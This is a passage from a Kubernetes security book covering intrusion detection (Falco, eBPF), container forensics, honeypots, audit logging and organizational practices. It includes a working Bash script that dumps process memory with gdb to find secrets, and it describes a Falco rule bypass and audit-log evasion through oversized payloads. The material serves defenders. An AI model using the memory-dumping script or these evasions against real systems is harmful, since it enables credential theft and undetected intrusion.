This observational approach is more powerful than signatures as it can act autonomously against new threats. The price for this more general protection is greater resource utilization, which may impact the performance of the system being protected.

Signature and anomaly detection can be fooled, circumvented, and potentially disabled by a skilled adversary, so never rely entirely upon one

control.

Note

VirusTotal
is a
library of malicious files. When a defender discovers an attack, they upload the files retrieved by forensics (for example, malware, implants, and C2 binaries or encrypted files), allowing researchers to correlate techniques across targets and helping defenders to understand their adversary, the attacks being used, and (with any luck) how they can best defend themselves. Antivirus vendors ensure their products have signatures for every malicious file on VirusTotal, and new submissions are scanned by existing virus detection engines for matches.

Attackers use these same tools to ensure their payloads will bypass antivirus and malware signature scanners. Red Teams have been retrospectively discovered leaking tooling and signatures onto VirusTotal once their attacking campaigns have been decloaked.

eBPF-Based IDS

Running IDS for

every packet or system call can incur overhead and slow down the system.

We introduced eBPF in “eBPF”
as a mechanism to safely and efficiently extend the Linux kernel. eBPF avoids some of these issues by being very fast indeed: it was designed for fast packet handling, and now kernel developers use it to observe runtime behavior for everything in the kernel. Because it runs inside the kernel as trusted code it is less restricted than other IDS and tracing technologies.

However, running in the kernel poses its own set of possible risks, and the eBPF subsystem and JIT compiler have had a number of breakouts, but these are considered less dangerous than slow, incomplete kernel developer tracing solutions or more fallible IDS.

Note

Jeff Dileo’s
“Evil eBPF In-Depth Practical Abuses of an In-Kernel Bytecode Runtime”
is a good primer on BPF and its attacks, and “Kernel Pwning with eBPF: A Love Story”
by Valentina Palmiotti
is a walkthrough of the various components of eBPF.

Since eBPF’s powers have been extended and integrated more deeply into the kernel, a number of CNIs and security products now use eBPF for detection and networking including Cilium
, Pixie
, and Falco
(which we detail in the following section).

Warning

As with all container software, bugs can lead to

container breakout, as in CVE-2021-31440
, where an incorrect bounds calculation in the Linux kernel eBPF verifier allowed an exploitable verifier bypass.

Let’s move on to some applications of eBPF in

Kubernetes.

Kubernetes and Container Intrusion Detection

There are

signature and anomaly detection systems available for Kubernetes workloads at runtime. Kubernetes and container IDS systems support namespaced workload, host, and network IDS.

By splitting processes into namespaces, you can use more well-defined metadata to help an IDS make decisions. This more granular data can give greater insight into an attack, which is vital when the decision to kill a running container may affect your production workloads.

This gives container IDS an advantage: the behavior it is monitoring is just a single container, not a whole machine. The definition of allowed behavior is much smaller in a single-purpose container, so the IDS has a far greater fidelity of policy to block unwanted behavior. With this in mind, let’s now have a look at a few container-specific IDS.

Falco

Falco

is an open source, cloud native IDS that can run in a container or on a host. Traditionally, Falco required a dedicated kernel module to run (with its code loaded into the kernel) so that it could interact with system calls. Since 2019, Falco has also supported eBPF. The eBPF interface allows general-purpose code to be loaded by Falco, from userspace, into the kernel’s memory. This means less custom code, fewer kernel modules, and the ability to use the kernel monitoring and enforcement techniques through a well-known interface.

When run in a container, it requires privileged access to the host or use of the CAP_BPF
capability with host PID namespace access.

In eBPF mode, when a process interacts with a file using a system call such as open()
, the eBPF program is triggered, which can run arbitrary code in a kernel VM to make its decision. Depending on the inputs, the action will be accepted or blocked:

user@host:~ [

0]

$

docker run --rm -i -t \

-e HOST_ROOT

=

/ \

--cap-add BPF \

--cap-add SYS_PTRACE \

--pid=

host \

$(

ls /dev/falco* |

xargs -I {}

echo

--device {}

)

\

-v /var/run/docker.sock:/var/run/docker.sock \

falcosecurity/falco-no-driver:latest

DEMO 13:07:48.722501295: Notice A shell was spawned in a container with an attached terminal
(

user

=

root user_loginuid

=

-1 <NA> (

id

=

52af6056d922)

shell

=

sh parent

=

<NA>
cmdline

=

sh -c unset

$(

env |

grep -Eo '.*VERSION[^\=]*'

)

&&

exec

bash terminal

=

34816
container_id

=

52af6056d922 image

=

<NA>)

Note

Falco is based on Sysdig, a system introspection tool. Sysdig Cloud offers workload and Kubernetes performance monitoring, and Sysdig Secure
is the commercial product built around Falco.

Falco comes with a collection of community contributed and maintained rules
, including dedicated rules to manage Kubernetes clusters:

- Unexpected inbound TCP connections:

- Detects inbound TCP traffic to Kubernetes components from a port outside of an expected set

- Allowed inbound ports:

- 6443
(kube-apiserver
container)

- 10252
(kube-controller
container)

- 8443
(kube-dashboard
container)

- 10053
, 10055
, 8081
(kube-dns
container)

- 10251
(kube-scheduler
container)

- Unexpected spawned processes:

- Detects a process started in a Kubernetes cluster outside of an expected set

- Allowed processes:

- kube-apiserver
(for kube-apiserver
container)

- kube-controller-manager
(for kube-controller
container)

- /dashboard
(kube-dashboard
container)

- /kube-dns
(kube-dns
container)

- kube-scheduler
(kube-scheduler
container)

- Unexpected file access readonly:

- Detects an attempt to access a file in readonly mode, other than those in an expected list of directories

- Allowed file prefixes for readonly:

- /public

These rules form a useful base set to extend with custom rules for your own cluster’s specific security

needs.

Warning

While it’s almost always better to consume community contributed rules, no software is free of bugs. For example, Darkbit found a Falco rule bypass
that exploited a loose regex rule to deploy a custom privileged agent container—docker.io/my-org-name-that-ends-with-sysdig/agent
:

- macro: falco_privileged_containers
condition: (

openshift_image or
user_trusted_containers or
container.image.repository in (

trusted_images)

or
container.image.repository in (

falco_privileged_images)

or
container.image.repository startswith istio/proxy_ or
container.image.repository startswith quay.io/sysdig)

Machine Learning Approaches to IDS

Machine learning (ML) replays

the same signals used in other IDS systems through a model, which then predicts whether the container is compromised.

There are many examples of machine learning IDS available:

- Aqua Security
uses ML-based
behavioral profiling to analyze and react to behaviors in containers, the network, and hosts.

- Prisma Cloud
’s layer 3
inter-container firewall learns valid traffic flows between app components with ML.

- Lacework
uses unsupervised
machine learning for cross-cloud observability and response to runtime threats.

- Accuknox
uses
unsupervised machine learning to detect instability and discern potential attacks, and “Identity as a Perimeter” for zero-trust network, application, and data protection.

Container Forensics

Forensics is

the art of reconstructing data from incomplete or historical sources. In Linux this involves capturing process, memory, and filesystem contents to interrogate them offline, find the source or impact of a breach, and inspect adversarial techniques.

More advanced systems gather more information, like network connection information they were already logging. In the event of a serious break, the entire cluster or account may be cut off from the network so that the attacker cannot continue their assault, and the entire system can be imaged and explored.

Tools like kube-forensics
“create checkpoint
snapshots of the state of running pods for later off-line analysis,” so malicious workloads can be dumped and killed, and the system returned to use. It runs a forensics-controller-manager
with a PodCheckpoint
custom resource definition (CRD) to effectively docker inspect
, docker diff
, and finally docker export
. Notably, this does not capture the process’s memory, which may have implants or attacker tools that were not saved to disk or were deleted once the process started.

To capture a

process’ memory, you can use standard tools like GDB. Using these tools from inside a container is difficult as symbols may be required. From outside a container, dumping memory and searching it for interesting data is trivial, as this simple Bash script
mashing together Trufflehog
and GDB process dumping demonstrates:

#!/bin/bash

#

# truffleproc — hunt secrets in process memory // 2021 @controlplaneio

set

-Eeuo pipefail

PID

=

"

${

1

:-

1

}

"

TMP_DIR

=

"

$(

mktemp -d)

"

STRINGS_FILE

=

"

${

TMP_DIR

}

/strings.txt"

RESULTS_FILE

=

"

${

TMP_DIR

}

/results.txt"

CONTAINER_IMAGE

=

"controlplane/build-step-git-secrets"

CONTAINER_SHA

=

"51cfc58382387b164240501a482e30391f46fa0bed317199b08610a456078fe7"

CONTAINER

=

"

${

CONTAINER_IMAGE

}

@sha256:

${

CONTAINER_SHA

}

"

main()

{

ensure_sudo

echo

"# coredumping pid

${

PID

}

"

coredump_pid

echo

"# extracting strings to

${

TMP_DIR

}

"

extract_strings_from_coredump

echo

"# finding secrets"

find_secrets_in_strings ||

true

echo

"# results in

${

RESULTS_FILE

}

"

less -N -R "

${

RESULTS_FILE

}

"

}

ensure_sudo()

{

sudo touch /dev/null
}

coredump_pid()

{

cd

"

${

TMP_DIR

}

"

sudo grep -Fv ".so"

"/proc/

${

PID

}

/maps"

|

awk '/ 0 /{print $1}'

|

(

IFS

=

"-"

while

read

-r START END;

do

START_ADDR

=

$(

printf

"%llu"

"0x

${

START

}

"

)

END_ADDR

=

$(

printf

"%llu"

"0x

${

END

}

"

)

sudo gdb \

--quiet \

--readnow \

--pid "

${

PID

}

"

\

-ex "dump memory

${

PID

}

_mem_

${

START

}

.bin

${

START_ADDR

}

${

END_ADDR

}

"

\

-ex "set confirm off"

\

-ex "set exec-file-mismatch off"

\

-ex quit od |&

grep -E "^Reading symbols from"

done

|

awk-unique
)

}

extract_strings_from_coredump()

{

strings "

${

TMP_DIR

}

"

/*.bin >"

${

STRINGS_FILE

}

"

}

find_secrets_in_strings()

{

local

DATE MESSAGE
DATE

=

"(

$(

date --utc +%FT%T.%3NZ)

)"

MESSAGE

=

"for pid

${

PID

}

"

cd

"

${

TMP_DIR

}

"

git init --quiet
git add "

${

STRINGS_FILE

}

"

git -c commit.gpgsign=

false

commit \

-m "Coredump of strings

${

MESSAGE

}

"

\

-m "https://github.com/controlplaneio/truffleproc"

\

--quiet

echo

"#

${

0

}

results

${

MESSAGE

}

${

DATE

}

| @controlplaneio"

>>"

${

RESULTS_FILE

}

"

docker run -i -e IS_IN_AUTOMATION

=

\

-v "

$(

git rev-parse --show-toplevel)

:/workdir:ro"

\

-w /workdir \

"

${

CONTAINER

}

"

\

bash |&

command

grep -P '\e\['

|

awk-unique >> "

${

RESULTS_FILE

}

"

}

awk-unique()

{

awk '!x[$0]++'

}

main "

${

@

:-

}

"

Put this script into procdump.sh
and run it against a local shell:

$

procdump.sh $(

pgrep -f bash)

You will see any high entropy strings or suspected secrets that were loaded into the shell:

1 # procdump.sh results for pid 5598 (2021-02-23 08:58:54.972Z) | @controlplaneio
2 Reason: High Entropy
3 Date: 2021-02-23 08:58:54
4 Hash: 699776ae32d13685afca891b0e9ae2f1156d2473
5 Filepath: strings.txt
6 Branch: origin/master
7 Commit: WIP
8
9 +SECRET_KEY=c0dd1e1eaf1e757e55e118fea7caba55e7105e51eaf1e55c0caa1d05efa57e57
10 +GH_API_TOKEN=1abb1ebab1e5e1ec7ed5c07f1abe118b0071e551005edf1a710c8c10aca5ca1d

Warning

An attacker as

root in a process namespace can dump the memory of any other process in the namespace. The root user in the host process namespace can dump any process memory on the node (including child namespaces).

Avoid this type of attack in a
cloud native application by retrieving secrets at time of use from a filesystem or key management system. If you can discard the Secrets from memory when not in use, you’ll be more resilient to this attack. You can also encrypt Secrets in memory, although the decryption keys suffer the same risk of being dumped and so should also be discarded when not

in

use.

Honeypots

Although IDS can detect and prevent almost all abuses of your systems, we cannot emphasize enough that there is no such thing as a silver bullet. It should be assumed that rogue sea dogs like Captain Hashjack will still be able to bypass any careful security configuration. A complex system offers asymmetrical advantage for an attacker: a defender only has to make one mistake to get compromised.

Attackers may still be able to escape from a container or traverse onto the host. Or, if they’re in a container governed by IDS and manipulates the expected behavior of the application (for example, by invoking the same application with different flags), they may be able to read sensitive data without triggering IDS alarms.

So the last line of defense is the humble honeypot, a simple server or file that legitimate applications never use. It innocuously nestles in a tempting or secured location and triggers an alert when an attacker accesses it. Honeypots might be triggered by a network scan, or HTTP requests that the system would never usually make.

Figure 9-1
shows BCTL’s honeypot entrapping Dread Pirate Hashjack. A honeypot such as this one is as simple as using tools like ElastAlert
to monitor, audit, and access logs for pods that should never be accessed.

Figure 9-1.
Catching an attacker in a honeypot

You are looking to catch an attacker operating inside the pod network. They may scan local IP ranges for open TCP and UDP ports. Remember that each Kubernetes workload must be identical, so we can’t run “custom” pods to deploy a single honeypot. Instead, deploy a dedicated DaemonSet so each node is defended by a honeypot pod.

If the attacker or internal actor has cluster DNS access, can read a pod’s environment variables, or has read access to the Kubernetes API, they can see the names of the Kubernetes services in the DNS and pod names. They may be looking for a specifically named target. You can name your honeypot service with an appealingly similar name (such as “myapp-data” or “myapp-support”) to entice an attacker. Deploying honeypots as a DaemonSet will ensure one is lying in wait on any node Captain Hashjack might

plunder.

Note

Canary tokens
are
honeypots for protocols like AWS and Slack keys, URLs, DNS records, QR codes, email addresses, documents, and binaries. They are “tiny tripwires” that you can drop in production systems and developer devices to detect compromise.

Auditing

As discussed in Chapter 8
, Kubernetes

generates audit logs for every API request it receives, and IDS tools can ingest and monitor that stream of information for unexpected requests. This could include requests from outside known IP ranges or expected working hours, honeytoken credentials, or attempts to use unauthorized APIs (e.g., a default service account token attempting to get all Secrets in its namespace or a privileged namespace).

Audit log level and depth is configurable, but as CVE-2020-8563 for Kubernetes v1.19.2 (and CVE-2020-8564, CVE-2020-8565, CVE-2020-8566) shows, defaults were not historically tight enough. Some sensitive request payload information was persisted to
logs that could have been read from outside the cluster and then used to attack it.

Unintended data leakage into logs is being mitigated in KEP 1753
:

This KEP proposes the introduction of a logging filter which could be applied to all Kubernetes system components logs to prevent various types of sensitive information from leaking via logs…Ensure that sensitive data cannot be trivially stored in logs. Prevent dangerous logging actions with improved code review policies. Redact sensitive information with logging filters. Together, these actions can help to prevent sensitive data from being exposed in the logs.

It can be used with the kubelet
flag --experimental-logging-sanitization
in v1.20+.

Leaking Secrets into logs and audit streams is common in all technology organizations, and is another reason to avoid environment variables for sensitive information. Developers need introspection and useful output from running programs, but sanitizing debug during development is a rare practice. These debug strings invariably make their way into production, and so searching logs for Secrets is perhaps the only practical way to detect

this.

Note

The bugs that gave momentum to the log sanitization focus include:

CVE-2020-8563

Secret leaks in logs for vSphere Provider kube-controller-manager

CVE-2020-8564

Docker config Secrets leaked when file is malformed and logLevel
>= 4

CVE-2020-8565

Incomplete fix for CVE-2019-11250 allows for token leak in logs when logLevel
>= 9

CVE-2020-8566

Ceph RBD adminSecrets exposed in logs when logLevel
>= 4

You can read the disclosure on the Kubernetes Forums
.

Detection Evasion

Bypassing Kubernetes audit logs was

demonstrated by Brad Geesaman
and Ian Coldwater
at RSA 2020
. As Figure 9-2
shows, the etcd
datastore in the Kubernetes control plane is highly efficient and resillient, however it does not support large data sizes. That means request payloads in the audit logs that exceed 256 KB will not get stored, enabling stealthy behavior with oversized log entries.

Note

An attacker with access to the API server can blackhole, redirect, or tamper with any audit logs that are stored locally. As a post-mortem exercise it’s useful to explore an attacker’s path, so shipping the API server’s audit logs directly to a remote webhook backend safeguards against this. Configure the API server to use the flag
--audit-webhook-config-file

to ship logs remotely, or use a managed service that configures this for you.

Figure 9-2.
Oversize etcd
logs (RSA 2020
)

Security Operations Centers

Larger organizations may have a Security Operations Center (SOC)

that manages security information and events (SIEM).

Configuring enterprise applications for alerting on your audit and pod logs requires fine-tuning to avoid false positives and needless alerts. You can use a local cluster to build out automated tests and capture the audit log events, then use that data to configure your SIEM. Finally, rerun your automated tests to ensure alerts are raised correctly in production systems.

You should run Red Team security tests against production systems to validate the Blue Team controls work as expected. This provides a real-world test for the attack trees and threat models that the system is configured upon.

Conclusion

Intrusion detection is the last line of defense for a cloud native system. eBPF approaches offer greater speed on modern kernels, and the performance overhead is slight. Sensitive or web-facing workloads should always be guarded by IDS as they have the greatest risk of compromise.

With this we’re switching gears and will turn our attention to the weakest link and its natural habitat: organizations.

Chapter 10.
Organizations

A Kubernetes cluster doesn’t run in a vacuum but in an environment, which could be an on-premises setup such as your own datacenter, or you could be using the offering of a cloud provider.

In contrast to previous chapters, in this chapter we look in detail at the “wetware,” a somewhat tongue-in-cheek term referring to humans rather than the software or hardware used. We will make the point that, despite all the technology available at your hands, running Kubernetes clusters and workloads securely requires you to focus on a nontech piece of the puzzle: humans and their natural (work) habitat, that is, organizations.

Turns out that humans are, oftentimes, the weakest link in the chain. For example, an attacker may target email, PKI, and administrative interfaces to get behind the walls and steal secrets from the inside out, exfiltrate data, or leak sensitive information to the public.

In general, things external to a cluster can bypass its security if they are compromised—for
example, the account with a cloud provider, admin credentials, encryption keys, or really anything along the software supply chain.

The shared responsibility model used by cloud providers puts certain security processes on the shoulders of users, while the cloud provides services that are themselves secure. This means that you need to consider the build-out of the infrastructure topology, data flows, and security configuration as well as its usage.

So, let’s see what our swarthy ol’ Captain Hashjack is facing in this context. The Captain has exhausted all angles of technical attack, and is looking for another way in. It may be easier to attack an organization directly to get it to its secrets.

The Weakest Link

In Figure 10-1
you see the organizational pyramid. This
is a conceptual representation of the dependencies
a service or application you’re offering to a customer has. The basic idea is that there are a number of layers that exist in organization that are dependent on each other, and only if the foundations are stable and well developed can we trust that higher layers can work properly:

Individual people

Platform and ops folks, developers, managers, the summer intern, the CEO’s aunt—all
of them represent “the base” that everything else builds atop. Here you should not forget about your vendors, such as folks working at your cloud provider of choice, from account managers to support.

Teams and hierarchy

The next layer captures how you organize your team from a functional perspective. The smaller the organization, the less hierarchy, but no matter how small, usually teams with more or less defined scope are present.

Docs, knowledge bases, and training

An important layer, sometimes overlooked. Lumping up all kind of written material or otherwise (activities such as a course) in the “documentation, knowledge bases (KB), and training” layer. The majority of people read or depend on them; only few produce and maintain them.

Policies

Next up are policies, as discussed in Chapter 8
. The policies themselves are abstract and can be internal or external, regulatory or business types, but in any case they need to be (formally) defined and enforced, which happens in the next layer.

Tools

The collection of tools—software from Linux to CI pipelines to Kubernetes. This is the “tangible” and mostly visible part that most of us deal with to get our job done.

The tip of the iceberg, if you like, at the summit of the pyramid (Figure 10-1
) is your application or service. That is, this is the thing you own and want to release and which should be the focus of your attention, be it in terms of adding new features and/or fixing bugs, from a developer’s point of view.

If you are in a more platform-centric or ops role you typically care more about the “tools” layer in the pyramid and have, toward the developer, more of a coaching function. Given that Kubernetes established an operational vocabulary that both developers and infrastructure operators can use, the communication should, at least in theory, be a better one compared to earlier times.

Figure 10-1.
Organizational pyramid

Up until
now we’ve mainly been talking about the top two layers; that is, about tools and policies. We now focus on topics relevant to the other layers of the pyramid.

To be more precise, in the remainder of this chapter we will discuss organizational challenges structured along the environments in which you use Kubernetes:

- First, we look at cloud computing and its providers (“Cloud Providers”
), discussing constraints and good practices in such environments.

- We then move on to on-premises environments/datacenters (“On-Premises Environments”
), highlighting challenges unique to those.

- Finally, in “Common Considerations”
, we review common considerations; that is, organizational things relevant for both cloud or on-prem environments.

So let’s jump into the deep end, with cloud providers.

Cloud Providers

As per the

National Institute of Standards and Technology (NIST) Special Publication 800-145
, cloud computing, from a conceptual point of view, has to exhibit some essential characteristics:

On-demand self-service

You can unilaterally provision computing, storage, or networking; no human interaction with service provider required.

Broad network access

Capabilities are available over the (public) network and accessed through standard mechanisms.

Resource pooling

Cloud provider’s computing resources are pooled to serve multiple consumers using a multitenant model.

Rapid elasticity

The capabilities can be elastically acquired and released, virtually appearing to be unlimited.

Metered consumption

Automatic control and optimization of resource use by leveraging a metering capability.

We will scope our

discussion here based on the preceding NIST definition of cloud computing.

In a nutshell, cluster security
depends on organizational practices. To strengthen the organizational muscle, consider holding internal events or participate in external ones, something akin to what was offered, for example, at
KubeCon:

- Attacking and Defending Kubernetes Clusters, presented at KubeCon NA 2019 CTF
.

- The Cloud Native Security Tutorial
at KubeCon EU 2020.

- The TAG Security CTF wrap up videos at KubeCon NA 2020
and KubeCon EU 2021
.

Let’s now have a closer look at good practices, on the individual and team level, for using Kubernetes in a cloud computing environment.

Shared Responsibility

Typically, cloud providers
describe the way security and compliance is handled by defining what part of a service is their responsibility and which part is yours. Often you find this in the service-level agreements (SLAs)

that also define contractual penalties or compensation if a certain service isn’t available. For example, AWS has the Shared Responsibility Model
, likewise Azure’s variant
, and the more specific Google documents on the shared responsibility model in GKE
and Anthos shared responsibility
. In addition, the Center for Internet Security (CIS) provides foundational security benchmarks for the three major cloud providers.

But what, exactly, are your responsibilities in the context of a managed Kubernetes cluster? There a number of aspects to consider:

1. When standardizing on Kubernetes to, for example, create more interoperable systems or to avoid vendor lock-in, the API focus shifts from a cloud provider–centric one to a Kubernetes-centric one. This means Kubernetes abstracts away many, if not all, resources. While this is great from an interop POV it also means that more responsibility is now on your plate.

2. Serverless offerings such as Fargate and Cloud Run usually mean that more of the responsibility is with the cloud provider. For example, no need to patch nodes in case a new CVE is released.

For example, let’s look at

EKS. The

AWS Shared Responsibility Model states that Amazon is responsible for the security of the cloud
and customers are responsible for security in the cloud
, meaning operations and patching of any and all applications they run using the service, including the control plane, such as custom controllers or CNI plug-ins. Say there’s a security issue with an Amazon-owned Helm chart (for an ACK controller
, for example): Amazon is responsible for patching the controller and providing updated images and charts, whereas you as the customer are responsible for updating the controller in your cluster, using the latest, patched version provided by Amazon.

Where you are responsible, be cognizant of the configurations of the software you’re running as well as the version. You can use common standards and benchmarks to validate your
configurations:

- DevSec Hardening for Docker

- DevSec Hardening for Kubernetes

Account Hygiene

Access to resources, be

it in-cluster as discussed in Chapter 8
or to the environment (cloud provider) is a basic requirement to get any work done, for developers and ops folks alike. Oftentimes, the challenge is that one either has a secure or a usable setup. Using a combination of (forcibly rotating) passwords, YubiKeys, one-time passcodes from OTP devices, and other things to establish your identity can be tiresome. So people come up with shortcuts, trying to outsmart the security controls. There are promising approaches available, such as Google’s BeyondCorp
, however, many companies are not ready for it, yet.

Until the time the identity and access challenge is addressed otherwise, allow us to propose a structured approach to account hygiene in the context of cloud. This three-phased process for account hygiene looks as follows:

Onboarding

Most companies get that right. In the
process of onboarding a person into the organization and further into a team, LDAP or POSIX group memberships are established. In addition you want organization-wide policies that define what role has what kind of access (read-only or create or whatever) to what resources. For example, AWS IAM offers service control policies
(SCP), allowing you to define central control over the maximum available permissions for all accounts in an organization.

Auditing and monitoring

During
the entire time of a person being part of an org, you want to monitor access (inside and from the outside) as well as being able to audit post-facto.

Offboarding

This is where many
organizations fall over. Any access, be it to the cluster itself, the CI pipeline, the container registry, the Git repo, or the Slack instance, must be revocable. That is, when a person leaves the organization, access to all resources must be enforced automatically and in an auditable manner.

Do you have all three phases covered? Mostly automated? Try to address as many of the preceding points as feasible in the context of your organization.

A topic that deserves our special attention is that of long-lasting credentials versus temporary credentials. Long-lasting
credentials such as passwords or SSH keys need to be rotated and/or revoked. Especially in the offboarding phase, long-lasting credentials can be a dramatic attack vector. In other words: in the best case the person leaving the org has no hard feelings and simply ignores the fact that they still can access, say, a Git repo or an S3 bucket with sensitive information in it. In the not so good case, a disgruntled or malicious ex-employee might wreak havoc after they have left the organization.

Some tools or protocols, such as SSH, are not (out-of-the-box) very friendly concerning the rotation or revocation activity. Though increasingly solutions become available—for an example see DevLog: SSH authentication via OAuth2
—the question really should be: why not use temporary credentials in the first place? Take, for example, AWS

Security Token Service (STS). With STS, you can provide users and apps with short-term (minutes to hours) credentials on the fly and with that can escape the rotation and revocation hell of long-lasting credentials. For example, you could use Okta as an identity provider
and single-sign-on solution for EKS, based on short-lived STS tokens. As you would expect, all cloud providers offer some sort of temporary creds; for

example, Azure’s Shared Access Signature (SAS) or Google’s STS
API.

Grouping People and Resources

You almost always don’t
want to deal
with individual people or resources. What you want is, based on some characteristic, being able to address a group of people (role-based, for example) or a group of resources such as “all pods and services, running in the test stage, for application X.” In case of an incident, being able to address an incident and foster efficient escalation requires you to identify who owns a certain resource such as a cluster or a namespace.

Let’s first talk about people. To group
people and define team-wide policies, different cloud providers offer different options:

Amazon Web Services

With AWS Organizations
you can

programmatically create AWS accounts, apply policies to groups, and it also serves as the basis for other security-related services such as AWS Single Sign-On (SSO), all usually orchestrated using a higher-level service called

AWS Control Tower.

Microsoft Azure

Azure Policy
helps enforce organizational standards
and to assess compliance across your environments based on business rules. In addition, to control user actions, you would use Azure RBAC.

Google Cloud Platform

The Organization Policy Service
from
Google enables you to define and enforce centralized and programmatic control over your organization’s cloud resources. Whereas Google’s IAM allows you to state who can perform an actions (permissions), the Organization Policy focuses
on the What (configuration scope).

To statically or dynamically
group resources (from worker nodes to entire clusters to cluster-external resources such as load balancers or networked storage like S3 or NFS), again, different cloud vendors offer you a range of controls:

Amazon Web Services

Amazon Tags and Resource Groups (RG). While the former

was already around for a while and you can lean on best practices for tagging
, the RGs are a relatively new concept. That is, up to the introduction of RGs (which are still optional), you’d essentially have to deal with a flat resource namespace on a per-account basis. Good practice these days is to establish or follow conventions
and apply them, as supported by a service
.

Microsoft Azure

While both Azure
and AWS have “resource groups” allowing you to organize resources, these are not directly comparable. In case of Azure, a resource is always associated with exactly one resource group (which can be changed, but multiple, tag-based memberships are not supported).

Google Cloud Platform

GCP really

pioneered this space: from the very beginning it supported projects
, allowing (and forcing) you to enable and use services, billing, managing collaborators, and permissions for resources. In addition, GCP supports labeling
of resources, semantically pretty much exactly what you know from Kubernetes.

Another question in this context is that of
cross-account access. Using multiple accounts (as enforced by the preceding structure) helps naturally to overcome per-account limits or quotas but it also strengthens your security posture. As a case study, see the AWS multiple account strategy
whitepaper. Depending on the cloud provider, you might also have policies available that are directly applied to a resource (rather than the human or team-centric policies) and that can help with cross-account access. For a
concrete examplary walkthrough, see Satya Vajrapu and Jason Smith’s blog post “Enabling Cross-Account Access to Amazon EKS Cluster Resources”
.

Other Considerations

In addition to proactive measures such as org-wide policies for grouping resources and account hygiene, there are a number of things you can do, in the context of the cloud provider environment, to make your Kubernetes setup more resilient and secure. Let’s have a look at it.

Dealing with root certificate authorities

Authentication over TLS requires PKI certificates
, and as such the question arises where to best store private keys and certs for the root

Certificate Authorities (CA). You want to keep your root CA in a Key Management Service (KMS); that is,

in a managed service that allows you to manage cryptographic keys and define their usage declaratively, org-wide. These KMS are typically based on hardware security modules (FIPS 140-2 compliant) and usually also support auditing, for example, in case of AWS via CloudTrail.

Avoid leaking credentials

The beginning of the
supply chain (Chapter 4
) is where software is written; that is, the developer or ops person creating some artifact like source code, a configuration in YAML format, or documentation in, say, Markdown format. These source artifacts usually are kept in a version control system (VCS) such as Git, a popular distributed

VCS enabling collaboration and making it possible to revert to previous (good) states.

There is a dark side to VCS as well: whenever we put stuff into them (commit and/or push in the context of a distributed VCS) we potentially risk leaking sensitive information.

Note

The following is a cautionary tale on leaking sensitive information that happened to one of the authors who shall remain anonymous (hi Michael!). Just before lunch time, said author wanted to check in the documentation of a project. The docs.md
file looked innocent enough, describing the steps necessary to connect. There was only one problem, and that was that by copying and pasting the verbatim output from the command line, the actual access key ID and secret access key was included. Within minutes, bad actors monitoring the global GitHub feed noticed the credentials and used them to spin up EC2 instances. This story had a good ending as the AWS Fraud Detection

kicked in immediately (the change in usage pattern was clear—said author almost exclusively uses one region) and did the needful: freezing the account and reaching out to the account owner to fix the issue. The lesson learned is a clear one: never ever commit any passwords or keys in plain text in a repo.

There are two things you can do about it:

1. Enforce compulsory code scanning prior to check-in. For example, you can use git-secrets
, which helps prevent you from committing sensitive information to a Git repository as a pre-commit hook.

2. If you need to keep sensitive information in a (public) repo, at least do not store it in plain text, encrypt it. For example, Bitnami offers sealed-secrets
, allowing for automating the process all the way to the consuming target cluster.

With these considerations out of the way, we now switch gears and look at an entirely different environment for running Kubernetes: on-prem setups.

On-Premises Environments

In the following we’re using

the terms on-premises environments
and datacenters
somewhat interchangeably. Separate from this are bare-metal deployments, which may or may not happen in the cloud (AWS, Equinix) or on-prem.

While in the case of cloud providers the perimeter and its implications are clearly defined, in the case of on-prem environments you have to define it yourself. For example, in AWS, the account is the basic unit of identity (one customer is one account) and at scale it’s an AWS Organization that represents a customer, owning dozens if not hundreds of accounts. The same is true for resources that belong to exactly one account and can be made accessible for other accounts or finer-grained constructs such as a VPC.

In the case of on-prem, you need to come up with the perimeter definition yourself and you should consider the unit of compute (is it a Kubernetes cluster? is it a Kubernetes namespace?) being part of it, since, depending on the business requirements, it may imply multitenancy requirements as discussed in Chapter 7
.

There is also the question of whether you should or want to run Kubernetes clusters
yourself. This boils down to competitive advantage (are you, for example, rolling your own Linux distro?) and your role (are you a vendor or an enduser). Having said this, as per Gartner the overall cloud adoption is still in the 20% range
and around 50% of Kubernetes users still have a DIY approach. That is, rather than using a Kubernetes distribution such as Red Hat OpenShift
, Rancher
, or Canonical Distribution of Kubernetes
, they build and maintain their own distribution.

You will need to consider options for the following infrastructure pieces (as well as think through their security implications):

- Hardware, including buildings, racks, power supply, generators, blades, etc. to run your workloads.

- Typically some IaaS layer to virtualize the hardware, for example VMware or OpenStack.

- Some worker node-level provisioning including host operating system, such as Ansible or TerraForm. These provide the basic requirements for Kubernetes to be installable.

- For East-West (in-cluster) network traffic, fulfill the Kubernetes requirements
via SDN or the like.

- For North-South network traffic, use a load balancer like metalLB or an F5 offering.

- Use networked storage like an NFS filer and/or SANs and/or object store (MinIO, OpenIO or the like), Gluster, Ceph, etc.

- An on-prem certificate management solution.

- A user directory (typically LDAP-based).

- Use either the Kubernetes built-in DNS or an existing internal DNS server.

These are the minimal requirements necessary and you also should take into account that, in contrast to the cloud, almost every on-prem setup is different. This means that recipes—for example, Ansible scripts—to automate tasks usually require a lot of customization and testing to ensure they provide useful, production-ready output.

Some useful resources for further reading in this context are:

- “On-Premise Kubernetes Clusters”

- “Build Kubernetes Bare-metal Cluster with External Access”

- “Bare-Metal Kubernetes”

Further, there are a number of things you should be aware of and need to address. Most of them usually already in place if you are not facing a greenfield setup:

- One of the most challenging issues is making sure that physical access to your infrastructure is clearly defined and enforced.

- The worst-case scenarios like an earthquake or a fire are another thing you need to be able to deal with (also: DR plan).

- DoS attacks are yet another thing that cloud providers take care of for you automatically and usually free of cost. In the on-prem case you need to come up with a strategy here as well.

- Lastly, capacity planning and intrusion detection (see Chapter 9
), are, in the on-prem case, on you.

With this short discussion on the challenges of running Kubernetes on-prem
, we now move on to considerations relevant to any environment.

Common Considerations

No matter if you are using managed Kubernetes from a cloud provider or you are running your own on-prem environment, there are a number of common considerations targeting humans (social engineering) as well as regulatory concerns we will discuss in the following sections.

Threat Model Explosion

Kubernetes is a powerful

system, however this also means you have to deal with increased complexity when it comes to understanding how the multiple abstraction mechanisms and control loop can be exploited by a malicious player.

Have a look at Figure 10-2
. Consider the case of a monolith (depicted as the app
), let’s say, a single binary running on a VM. There are few moving parts and responsibilities are straightforward. For example, infrastructure folks look after VM (patching, upgrading) and developers look after the app
(scanning on dependency-level, avoiding SQL injections, etc.).

Figure 10-2.
Kubernetes versus monolith attack surface

Note

Figure 10-2
